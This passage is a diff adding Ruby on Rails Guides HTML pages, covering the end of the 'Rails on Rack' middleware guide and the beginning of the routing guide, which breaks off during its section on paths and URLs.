+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Rails on Rack</h2>
+<p>This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Create Rails Metal applications</li>
+	<li>Use Rack Middlewares in your Rails applications</li>
+	<li>Understand Action Pack&#8217;s internal Middleware stack</li>
+	<li>Define a custom Middleware stack</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#introduction-to-rack">Introduction to Rack</a></li><li><a href="#rails-on-rack">Rails on Rack</a><ul><li><a href="#rails-application-s-rack-object">Rails Application&#8217;s Rack Object</a></li> <li><a href="#rails-server"><tt>rails server</tt></a></li> <li><a href="#rackup"><tt>rackup</tt></a></li></ul></li><li><a href="#action-controller-middleware-stack">Action Controller Middleware Stack</a><ul><li><a href="#inspecting-middleware-stack">Inspecting Middleware Stack</a></li> <li><a href="#configuring-middleware-stack">Configuring Middleware Stack</a></li> <li><a href="#internal-middleware-stack">Internal Middleware Stack</a></li> <li><a href="#customizing-internal-middleware-stack">Customizing Internal Middleware Stack</a></li> <li><a href="#using-rack-builder">Using Rack Builder</a></li></ul></li><li><a href="#resources">Resources</a><ul><li><a href="#learning-rack">Learning Rack</a></li> <li><a href="#understanding-middlewares">Understanding Middlewares</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='warning'><p>This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and <tt>Rack::Builder</tt>.</p></div>
+<h3 id="introduction-to-rack">1 Introduction to Rack</h3>
+<blockquote>
+<p>Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping <span class="caps">HTTP</span> requests and responses in the simplest way possible, it unifies and distills the <span class="caps">API</span> for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.</p>
+</blockquote>
+<p>- <a href="http://rack.rubyforge.org/doc/">Rack <span class="caps">API</span> Documentation</a></p>
+<p>Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack&#8217;s basics, you should check out the following links:</p>
+<ul>
+	<li><a href="http://rack.github.com">Official Rack Website</a></li>
+	<li><a href="http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html">Introducing Rack</a></li>
+	<li><a href="http://m.onkey.org/2008/11/17/ruby-on-rack-1">Ruby on Rack #1 &#8211; Hello Rack!</a></li>
+	<li><a href="http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder">Ruby on Rack #2 &#8211; The Builder</a></li>
+</ul>
+<h3 id="rails-on-rack">2 Rails on Rack</h3>
+<h4 id="rails-application-s-rack-object">2.1 Rails Application&#8217;s Rack Object</h4>
+<p><tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using <tt>ActionController::Dispatcher.new</tt> object to serve a Rails application.</p>
+<h4 id="rails-server">2.2 <tt>rails server</tt></h4>
+<p><tt>rails server</tt> does the basic job of creating a <tt>Rack::Builder</tt> object and starting the webserver. This is Rails&#8217; equivalent of Rack&#8217;s <tt>rackup</tt> script.</p>
+<p>Here&#8217;s how <tt>rails server</tt> creates an instance of <tt>Rack::Builder</tt></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+app = Rack::Builder.new {
+  use Rails::Rack::LogTailer unless options[:detach]
+  use Rails::Rack::Debugger if options[:debugger]
+  use ActionDispatch::Static
+  run ActionController::Dispatcher.new
+}.to_app
+</pre>
+</div>
+</notextile>
+
+<p>Middlewares used in the code above are primarily useful only in the development environment. The following table explains their usage:</p>
+<table>
+	<tr>
+		<th>Middleware</th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td><tt>Rails::Rack::LogTailer</tt></td>
+		<td>Appends log file output to console</td>
+	</tr>
+	<tr>
+		<td><tt>ActionDispatch::Static</tt></td>
+		<td>Serves static files inside <tt>Rails.root/public</tt> directory</td>
+	</tr>
+	<tr>
+		<td><tt>Rails::Rack::Debugger</tt></td>
+		<td>Starts Debugger</td>
+	</tr>
+</table>
+<h4 id="rackup">2.3 <tt>rackup</tt></h4>
+<p>To use <tt>rackup</tt> instead of Rails&#8217; <tt>rails server</tt>, you can put the following inside <tt>config.ru</tt> of your Rails application&#8217;s root directory:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Rails.root/config.ru
+require &quot;config/environment&quot;
+
+use Rails::Rack::LogTailer
+use ActionDispatch::Static
+run ActionController::Dispatcher.new
+</pre>
+</div>
+</notextile>
+
+<p>And start the server:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+[lifo@null application]$ rackup config.ru
+</pre>
+</div>
+</notextile>
+
+<p>To find out more about different <tt>rackup</tt> options:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+[lifo@null application]$ rackup --help
+</pre>
+</div>
+</notextile>
+
+<h3 id="action-controller-middleware-stack">3 Action Controller Middleware Stack</h3>
+<p>Many of Action Controller&#8217;s internal components are implemented as Rack middlewares. <tt>ActionController::Dispatcher</tt> uses <tt>ActionController::MiddlewareStack</tt> to combine various internal and external middlewares to form a complete Rails Rack application.</p>
+<div class='note'><p><tt>ActionController::MiddlewareStack</tt> is Rails&#8217; equivalent of <tt>Rack::Builder</tt>, but built for better flexibility and more features to meet Rails&#8217; requirements.</p></div>
+<h4 id="inspecting-middleware-stack">3.1 Inspecting Middleware Stack</h4>
+<p>Rails has a handy rake task for inspecting the middleware stack in use:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake middleware
+</pre>
+</div>
+</notextile>
+
+<p>For a freshly generated Rails application, this might produce something like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+use Rack::Lock
+use ActionController::Failsafe
+use ActionController::Session::CookieStore, , {:secret=&gt;&quot;&lt;secret&gt;&quot;, :session_key=&gt;&quot;_&lt;app&gt;_session&quot;}
+use Rails::Rack::Metal
+use ActionDispatch::RewindableInput
+use ActionController::ParamsParser
+use Rack::MethodOverride
+use Rack::Head
+use ActiveRecord::QueryCache
+run ActionController::Dispatcher.new
+</pre>
+</div>
+</notextile>
+
+<p>Purpose of each of this middlewares is explained in the <a href="#internal-middleware-stack">Internal Middlewares</a> section.</p>
+<h4 id="configuring-middleware-stack">3.2 Configuring Middleware Stack</h4>
+<p>Rails provides a simple configuration interface <tt>config.middleware</tt> for adding, removing and modifying the middlewares in the middleware stack via <tt>environment.rb</tt> or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.</p>
+<h5 id="adding-a-middleware">3.2.1 Adding a Middleware</h5>
+<p>You can add a new middleware to the middleware stack using any of the following methods:</p>
+<ul>
+	<li><tt>config.middleware.use(new_middleware, args)</tt> &#8211; Adds the new middleware at the bottom of the middleware stack.</li>
+</ul>
+<ul>
+	<li><tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> &#8211; Adds the new middleware before the specified existing middleware in the middleware stack.</li>
+</ul>
+<ul>
+	<li><tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> &#8211; Adds the new middleware after the specified existing middleware in the middleware stack.</li>
+</ul>
+<p><strong>Example:</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/environment.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { :page_cache =&gt; false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache =&gt; false
+</pre>
+</div>
+</notextile>
+
+<h5 id="swapping-a-middleware">3.2.2 Swapping a Middleware</h5>
+<p>You can swap an existing middleware in the middleware stack using <tt>config.middleware.swap</tt>.</p>
+<p><strong>Example:</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/environment.rb
+
+# Replace ActionController::Failsafe with Lifo::Failsafe
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+</pre>
+</div>
+</notextile>
+
+<h5 id="middleware-stack-is-an-array">3.2.3 Middleware Stack is an Array</h5>
+<p>The middleware stack behaves just like a normal <tt>Array</tt>. You can use any <tt>Array</tt> methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.</p>
+<p>For example, the following removes the middleware matching the supplied class name:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.middleware.delete(middleware)
+</pre>
+</div>
+</notextile>
+
+<h4 id="internal-middleware-stack">3.3 Internal Middleware Stack</h4>
+<p>Much of Action Controller&#8217;s functionality is implemented as Middlewares. The following table explains the purpose of each of them:</p>
+<table>
+	<tr>
+		<th>Middleware</th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td><tt>Rack::Lock</tt></td>
+		<td>Sets <tt>env["rack.multithread"]</tt> flag to <tt>true</tt> and wraps the application within a Mutex.</td>
+	</tr>
+	<tr>
+		<td><tt>ActionController::Failsafe</tt></td>
+		<td>Returns <span class="caps">HTTP</span> Status <tt>500</tt> to the client if an exception gets raised while dispatching.</td>
+	</tr>
+	<tr>
+		<td><tt>ActiveRecord::QueryCache</tt></td>
+		<td>Enable the Active Record query cache.</td>
+	</tr>
+	<tr>
+		<td><tt>ActionController::Session::CookieStore</tt></td>
+		<td>Uses the cookie based session store.</td>
+	</tr>
+	<tr>
+		<td><tt>ActionController::Session::MemCacheStore</tt></td>
+		<td>Uses the memcached based session store.</td>
+	</tr>
+	<tr>
+		<td><tt>ActiveRecord::SessionStore</tt></td>
+		<td>Uses the database based session store.</td>
+	</tr>
+	<tr>
+		<td><tt>Rack::MethodOverride</tt></td>
+		<td>Sets <span class="caps">HTTP</span> method based on <tt>_method</tt> parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.</td>
+	</tr>
+	<tr>
+		<td><tt>Rack::Head</tt></td>
+		<td>Discards the response body if the client sends a <tt>HEAD</tt> request.</td>
+	</tr>
+</table>
+<div class='info'><p>It&#8217;s possible to use any of the above middlewares in your custom Rack stack.</p></div>
+<h4 id="customizing-internal-middleware-stack">3.4 Customizing Internal Middleware Stack</h4>
+<p>It&#8217;s possible to replace the entire middleware stack with a custom stack using <tt>ActionController::Dispatcher.middleware=</tt>.</p>
+<p><strong>Example:</strong></p>
+<p>Put the following in an initializer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config/initializers/stack.rb
+ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
+  m.use ActionController::Failsafe
+  m.use ActiveRecord::QueryCache
+  m.use Rack::Head
+end
+</pre>
+</div>
+</notextile>
+
+<p>And now inspecting the middleware stack:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionController::Failsafe
+use ActiveRecord::QueryCache
+use Rack::Head
+run ActionController::Dispatcher.new
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-rack-builder">3.5 Using Rack Builder</h4>
+<p>The following shows how to replace use <tt>Rack::Builder</tt> instead of the Rails supplied <tt>MiddlewareStack</tt>.</p>
+<p><strong>Clear the existing Rails middleware stack</strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# environment.rb
+config.middleware.clear
+</pre>
+</div>
+</notextile>
+
+<p><br />
+<strong>Add a <tt>config.ru</tt> file to <tt>Rails.root</tt></strong></p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# config.ru
+use MyOwnStackFromStratch
+run ActionController::Dispatcher.new
+</pre>
+</div>
+</notextile>
+
+<h3 id="resources">4 Resources</h3>
+<h4 id="learning-rack">4.1 Learning Rack</h4>
+<ul>
+	<li><a href="http://rack.github.com">Official Rack Website</a></li>
+	<li><a href="http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html">Introducing Rack</a></li>
+	<li><a href="http://m.onkey.org/2008/11/17/ruby-on-rack-1">Ruby on Rack #1 &#8211; Hello Rack!</a></li>
+	<li><a href="http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder">Ruby on Rack #2 &#8211; The Builder</a></li>
+</ul>
+<h4 id="understanding-middlewares">4.2 Understanding Middlewares</h4>
+<ul>
+	<li><a href="http://railscasts.com/episodes/151-rack-middleware">Railscast on Rack Middlewares</a></li>
+</ul>
+<h3 id="changelog">5 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58">Lighthouse ticket</a></p>
+<ul>
+	<li>February 7, 2009: Second version by <a href="credits.html#lifo">Pratik</a></li>
+	<li>January 11, 2009: First version by <a href="credits.html#lifo">Pratik</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/routing.html
@@ -0,0 +1,1406 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Rails Routing from the Outside In</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Rails Routing from the Outside In</h2>
+<p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Understand the code in <tt>routes.rb</tt></li>
+	<li>Construct your own routes, using either the preferred resourceful style or with the <tt>match</tt> method</li>
+	<li>Identify what parameters to expect an action to receive</li>
+	<li>Automatically create paths and URLs using route helpers</li>
+	<li>Use advanced techniques such as constraints and Rack endpoints</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#the-purpose-of-the-rails-router">The Purpose of the Rails Router</a><ul><li><a href="#connecting-urls-to-code">Connecting URLs to Code</a></li> <li><a href="#generating-paths-and-urls-from-code">Generating Paths and URLs from Code</a></li></ul></li><li><a href="#resource-routing-the-rails-default">Resource Routing: the Rails Default</a><ul><li><a href="#resources-on-the-web">Resources on the Web</a></li> <li><a href="#crud-verbs-and-actions"><span class="caps">CRUD</span>, Verbs, and Actions</a></li> <li><a href="#paths-and-urls">Paths and URLs</a></li> <li><a href="#defining-multiple-resources-at-the-same-time">Defining Multiple Resources at the Same Time</a></li> <li><a href="#singular-resources">Singular Resources</a></li> <li><a href="#controller-namespaces-and-routing">Controller Namespaces and Routing</a></li> <li><a href="#nested-resources">Nested Resources</a></li> <li><a href="#creating-paths-and-urls-from-objects">Creating Paths and URLs From Objects</a></li> <li><a href="#adding-more-restful-actions">Adding More RESTful Actions</a></li></ul></li><li><a href="#non-resourceful-routes">Non-Resourceful Routes</a><ul><li><a href="#bound-parameters">Bound Parameters</a></li> <li><a href="#dynamic-segments">Dynamic Segments</a></li> <li><a href="#static-segments">Static Segments</a></li> <li><a href="#the-query-string">The Query String</a></li> <li><a href="#defining-defaults">Defining Defaults</a></li> <li><a href="#naming-routes">Naming Routes</a></li> <li><a href="#http-verb-constraints"><span class="caps">HTTP</span> Verb Constraints</a></li> <li><a href="#segment-constraints">Segment Constraints</a></li> <li><a href="#request-based-constraints">Request-Based Constraints</a></li> <li><a href="#advanced-constraints">Advanced Constraints</a></li> <li><a href="#route-globbing">Route Globbing</a></li> <li><a href="#redirection">Redirection</a></li> <li><a href="#routing-to-rack-applications">Routing to Rack Applications</a></li> <li><a href="#using-root">Using <tt>root</tt></a></li></ul></li><li><a href="#customizing-resourceful-routes">Customizing Resourceful Routes</a><ul><li><a href="#specifying-a-controller-to-use">Specifying a Controller to Use</a></li> <li><a href="#specifying-constraints">Specifying Constraints</a></li> <li><a href="#overriding-the-named-helpers">Overriding the Named Helpers</a></li> <li><a href="#overriding-the-new-and-edit-segments">Overriding the <tt>new</tt> and <tt>edit</tt> Segments</a></li> <li><a href="#prefixing-the-named-route-helpers">Prefixing the Named Route Helpers</a></li> <li><a href="#restricting-the-routes-created">Restricting the Routes Created</a></li> <li><a href="#translated-paths">Translated Paths</a></li> <li><a href="#overriding-the-singular-form">Overriding the Singular Form</a></li> <li><a href="#nested-names">Using <tt>:as</tt> in Nested Resources</a></li></ul></li><li><a href="#inspecting-and-testing-routes">Inspecting and Testing Routes</a><ul><li><a href="#seeing-existing-routes-with-rake">Seeing Existing Routes with <tt>rake</tt></a></li> <li><a href="#testing-routes">Testing Routes</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="the-purpose-of-the-rails-router">1 The Purpose of the Rails Router</h3>
+<p>The Rails router recognizes URLs and dispatches them to a controller&#8217;s action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.</p>
+<h4 id="connecting-urls-to-code">1.1 Connecting URLs to Code</h4>
+<p>When your Rails application receives an incoming request</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+GET /patients/17
+</pre>
+</div>
+</notextile>
+
+<p>it asks the router to match it to a controller action. If the first matching route is</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+match &quot;/patients/:id&quot; =&gt; &quot;patients#show&quot;
+</pre>
+</div>
+</notextile>
+
+<p>the request is dispatched to the <tt>patients</tt> controller&#8217;s <tt>show</tt> action with <tt>{ :id =&gt; &#8220;17&#8221; }</tt> in <tt>params</tt>.</p>
+<h4 id="generating-paths-and-urls-from-code">1.2 Generating Paths and URLs from Code</h4>
+<p>You can also generate paths and URLs. If your application contains this code:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@patient = Patient.find(17)
+</pre>
+</div>
+</notextile>
+
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= link_to &quot;Patient Record&quot;, patient_path(@patient) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The router will generate the path <tt>/patients/17</tt>. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.</p>
+<h3 id="resource-routing-the-rails-default">2 Resource Routing: the Rails Default</h3>
+<p>Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your <tt>index</tt>, <tt>show</tt>, <tt>new</tt>, <tt>edit</tt>, <tt>create</tt>, <tt>update</tt> and <tt>destroy</tt> actions, a resourceful route declares them in a single line of code.</p>
+<h4 id="resources-on-the-web">2.1 Resources on the Web</h4>
+<p>Browsers request pages from Rails by making a request for a <span class="caps">URL</span> using a specific <span class="caps">HTTP</span> method, such as <tt>GET</tt>, <tt>POST</tt>, <tt>PUT</tt> and <tt>DELETE</tt>. Each method is a request to perform an operation on the resource. A resource route maps a number of related request to the actions in a single controller.</p>
+<p>When your Rails application receives an incoming request for</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+DELETE /photos/17
+</pre>
+</div>
+</notextile>
+
+<p>it asks the router to map it to a controller action. If the first matching route is</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos
+</pre>
+</div>
+</notextile>
+
+<p>Rails would dispatch that request to the <tt>destroy</tt> method on the <tt>photos</tt> controller with <tt>{ :id =&gt; &#8220;17&#8221; }</tt> in <tt>params</tt>.</p>
+<h4 id="crud-verbs-and-actions">2.2 <span class="caps">CRUD</span>, Verbs, and Actions</h4>
+<p>In Rails, a resourceful route provides a mapping between <span class="caps">HTTP</span> verbs and URLs and controller actions. By convention, each action also maps to particular <span class="caps">CRUD</span> operations in a database. A single entry in the routing file, such as</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :photos
+</pre>
+</div>
+</notextile>
+
+<p>creates seven different routes in your application, all mapping to the <tt>Photos</tt> controller:</p>
+<table>
+	<tr>
+		<th>Verb </th>
+		<th>Path            </th>
+		<th>action </th>
+		<th>used for</th>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos           </td>
+		<td>index    </td>
+		<td>display a list of all photos</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos/new       </td>
+		<td>new      </td>
+		<td>return an <span class="caps">HTML</span> form for creating a new photo</td>
+	</tr>
+	<tr>
+		<td><span class="caps">POST</span>    </td>
+		<td>/photos           </td>
+		<td>create   </td>
+		<td>create a new photo</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos/:id       </td>
+		<td>show     </td>
+		<td>display a specific photo</td>
+	</tr>
+	<tr>
+		<td><span class="caps">GET</span>     </td>
+		<td>/photos/:id/edit  </td>
+		<td>edit     </td>
+		<td>return an <span class="caps">HTML</span> form for editing a photo</td>
+	</tr>
+	<tr>
+		<td><span class="caps">PUT</span>     </td>
+		<td>/photos/:id       </td>
+		<td>update   </td>
+		<td>update a specific photo</td>
+	</tr>
+	<tr>
+		<td><span class="caps">DELETE</span>  </td>
+		<td>/photos/:id       </td>
+		<td>destroy  </td>
+		<td>delete a specific photo</td>
+	</tr>
+</table>
+<h4 id="paths-and-urls">2.3 Paths and URLs</h4>
+<p>Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of <tt>resources :photos</tt>:</p>
+<ul>
+	<li><tt>photos_path</tt> returns <tt>/photos</tt></li>
